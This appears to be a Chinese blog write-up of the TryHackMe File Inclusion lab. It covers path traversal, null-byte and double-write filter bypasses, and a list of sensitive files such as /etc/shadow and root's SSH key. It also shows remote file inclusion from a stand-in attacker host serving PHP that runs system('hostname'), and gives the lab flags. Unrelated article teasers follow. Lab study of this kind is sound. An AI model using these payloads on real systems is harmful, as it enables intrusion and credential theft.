TryHackMe-File Inclusion练习
本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe
路径遍历(目录遍历)
Location | Description |
---|---|
/etc/issue | 包含要在登录提示之前打印的消息或系统标识。 |
/etc/profile | 控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息 |
/proc/version | 指定 Linux 内核的版本 |
/etc/passwd | 包含有权访问系统的所有注册用户信息 |
/etc/shadow | 包含系统用户密码的信息 |
/root/.bash_history | 包含 root 用户的历史命令 |
/var/log/dmessage | 包含全局系统消息,包括系统启动期间记录的消息 |
/var/mail/root | root 用户的所有电子邮件 |
/root/.ssh/id_rsa | 服务器上的root 用户或任何已知有效用户的 SSH 私钥 |
/var/log/apache2/access.log | Apache web服务器的访问请求 |
C:\boot.ini | 包含具有 BIOS 固件的计算机的引导选项 |
本地文件包含
?file=../../../../etc/passwd
通过在过滤关键字的末尾使用空字节 %00
或使用访问当前目录技巧/.
相关payload可参考以下内容:
?file=/etc/passwd%00 ?file=/etc/passwd/.
%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。
为了更清楚地理解访问当前目录技巧/.
,我们可以查看以下例子:如果我们在文件系统中使用cd ..
,我们将切换到上一级目录;如果我们使用的是cd.
,我们仍然将停留在当前目录。
因此,当我们输入/etc/passwd/..
时,我们将切换目录到/etc/
,然后当我们输入/etc/passwd/.
时,将停留在当前目录/etc/passwd
(因为.
指代的就是当前工作目录,所以并不会进行目录切换操作)。
../
关键字被过滤
当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd
时,如果收到如下错误提示:
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
这说明:../
关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../
。
我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:
?file=....//....//....//....//....//etc/passwd
这种方式被称为“双写绕过”。
双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../
并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。
强制include
函数从已定义的目录中读取目标文件
例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php
。
为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:
?file=languages/../../../../../etc/passwd
远程文件包含
假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。
<?PHP echo "Hello THM"; ?>
首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。
python3 -m http.server
挑战
Challenge-1
因为要POST上传,所以我们使用bp抓包上传吧
这里不知道为什么始终显示错误,所以就使用插件了
Max HacKBar(HackBar最新版要钱,可以去找旧版下载)
这样的
POST传参
flag1:F1x3d-iNpu7-f0rrn
Challenge2
这里显示要admin,而我们是Guest,所以我们要成为admin
但Get和POST传参都不行
所以我们尝试继续修改cookie
接下来我们用上面讲过的方法
../../../../etc/flag2%00
flag2:c00k13_i5_yuMmy1
Challenge3
file=../../.././etc/flag3%00
这题get、post都可以,不过因为使用插件上传会进行url编码
所以只能抓包把%2500改为%00即可
flag:P0st_1s_w0rk1in9
Challenge4
先将php代码写入cmd.txt
<?PHP
echo system('hostname');
?>
python3 -m http.server 8080
http://10.10.109.26:8080/cmd.txt
flag:lfi-vm-thm-f8c5b1a78692
答题:
相关文章:

TryHackMe-File Inclusion练习
本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe 路径遍历(目录遍历) LocationDescription/etc/issue包含要在登录提示之前打印的消息或系统标识。/etc/profile控制系统范围的默认变量,例如导出(Export)变量、文件创…...
Leetcode 《面试经典150题》169. 多数元素
题目 给定一个大小为 n 的数组 nums ,返回其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。 你可以假设数组是非空的,并且给定的数组总是存在多数元素。 示例 1: 输入:nums [3,2,3] 输出:3示…...

百度输入法往选字框里强塞广告
关注卢松松,会经常给你分享一些我的经验和观点。 国内几乎100%的输入法都有广告,只是你们没发现而已!!! 百度输入法居然在输入法键盘上推送广告,近日,博主阑夕 表示,V2EX论坛上有…...
分享一个Qt使用的模块间通信类
需求: 不同线程,或者同一线程的不同类之间通信,按照Qt的机制,定义一个信号,一个槽,然后绑定。以两个类A,B为例,A触发一个信号,B执行一个槽,在定义好信号和槽之后&#x…...

工作七年,对消息推送使用的一些经验和总结
前言:不管是APP还是WEB端都离不开消息推送,尤其是APP端,push消息,小信箱消息;WEB端的代办消息等。因在项目中多次使用消息推送且也是很多项目必不可少的组成部分,故此总结下供自己参考。 一、什么是消息推…...

计网——应用层
应用层 应用层协议原理 网络应用的体系结构 客户-服务器(C/S)体系结构 对等体(P2P)体系结构 C/S和P2P体系结构的混合体 客户-服务器(C/S)体系结构 服务器 服务器是一台一直运行的主机,需…...

算法面试八股文『 基础知识篇 』
博客介绍 近期在准备算法面试,网上信息杂乱不规整,出于强迫症就自己整理了算法面试常出现的考题。独乐乐不如众乐乐,与其奖励自己,不如大家一起嗨。以下整理的内容可能有不足之处,欢迎大佬一起讨论。 PS:…...

docker-学习-4
docker学习第四天 docker学习第四天1. 回顾1.1. 容器的网络类型1.2. 容器的本质1.3. 数据的持久化1.4. 看有哪些卷1.5. 看卷的详细信息 2. 如何做多台宿主机里的多个容器之间的数据共享2.1. 概念2.2. 搭NFS服务器实现多个容器之间的数据共享的详细步骤2.3. 如果是多台机器&…...

el-upload子组件上传多张图片(上传为files或base64url)
场景: 在表单页,有图片需要上传,表单的操作行按钮中有上传按钮,点击上传按钮。 弹出el-dialog进行图片的上传,可以上传多张图片。 由于多个表单页都有上传多张图片的操作,因此将上传多图的el-upload定义…...
2024美赛数学建模C题思路源码——网球选手的动量
这题挺有意思,没具体看比赛情况,打过比赛的人应该都知道险胜局(第二局、第五局逆转局)最影响心态的,导致第3、5局输了 模型结果需要证明这样的现象 赛题目的 赛题目的:分析网球球员的表现 问题一.球员在比赛特定时间表现力 问题分析 excel数据:每个时间段有16场比赛,…...

金三银四_程序员怎么写简历_写简历网站
你们在制作简历时,是不是基本只关注两件事:简历模板,还有基本信息的填写。 当你再次坐下来更新你的简历时,可能会发现自己不自觉地选择了那个“看起来最好看的模板”,填写基本信息,却没有深入思考如何使简历更具吸引力。这其实是一个普遍现象:许多求职者仍停留在传统简历…...

echarts条形图添加滚动条
效果展示: 测试数据: taskList:[{majorDeptName:测试,finishCount:54,notFinishCount:21}, {majorDeptName:测试,finishCount:54,notFinishCount:21}, {majorDeptName:测试,finishCount:54,notFinishCount:21}, {majorDeptName:测试,finishCount:54,notFinishCount:21}, {maj…...
Java 使用Soap方式调用WebService接口
pom文件依赖 <dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.13.0</version></dependency><!-- https://mvnrepository.com/artif…...
2024美赛数学建模所有题目思路分析
美赛思路已更新,关注后可以获取更多思路。并且领取资料 C题思路 首先,我们要理解势头是什么。简单来说,势头是一方在比赛中因一系列事件而获得的动力或优势。在网球中,这可能意味着连续赢得几个球,或是在比赛的某个关…...

Docker容器引擎(5)
目录 一.docker-compose docker-compose的三大概念: yaml文件格式: json文件格式: docker-compose 配置模板文件常用的字段: 二.Docker Compose 环境安装: 查看版本: 准备好nginx 的dockerfile的文…...

百分点科技:《数据科学技术: 文本分析和知识图谱》
科技进步带来的便利已经渗透到工作生活的方方面面,ChatGPT的出现更是掀起了新一波的智能化浪潮,推动更多智能应用的涌现。这背后离不开一个朴素的逻辑,即对数据的收集、治理、建模、分析和应用,这便是数据科学所重点研究的对象——…...

LabVIEW传感器通用实验平台
LabVIEW传感器通用实验平台 介绍了基于LabVIEW的传感器实验平台的开发。该平台利用LabVIEW图形化编程语言和多参量数据采集卡,提供了一个交互性好、可扩充性强、使用灵活方便的传感器技术实验环境。 系统由硬件和软件两部分组成。硬件部分主要包括多通道数据采集卡…...

向日葵企业“云策略”升级 支持Android 被控策略设置
此前,贝锐向日葵推出了适配PC企业客户端的云策略功能,这一功能支持管理平台统一修改设备设置,上万设备实时下发实时生效,很好的解决了当远程控制方案部署后,想要灵活调整配置需要逐台手工操作的痛点,大幅提…...

51单片机通过级联74HC595实现倒计时秒表Protues仿真设计
一、设计背景 近年来随着科技的飞速发展,单片机的应用正在不断的走向深入。本文阐述了51单片机通过级联74HC595实现倒计时秒表设计,倒计时精度达0.05s,解决了传统的由于倒计时精度不够造成的误差和不公平性,是各种体育竞赛的必备设…...

深信服技术认证“SCCA-C”划重点:深信服云计算关键技术
为帮助大家更加系统化地学习云计算知识,高效通过云计算工程师认证,深信服特推出“SCCA-C认证备考秘笈”,共十期内容。“考试重点”内容框架,帮助大家快速get重点知识。 划重点来啦 *点击图片放大展示 深信服云计算认证(…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...

centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...

(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...
Linux系统部署KES
1、安装准备 1.版本说明V008R006C009B0014 V008:是version产品的大版本。 R006:是release产品特性版本。 C009:是通用版 B0014:是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存:1GB 以上 硬盘…...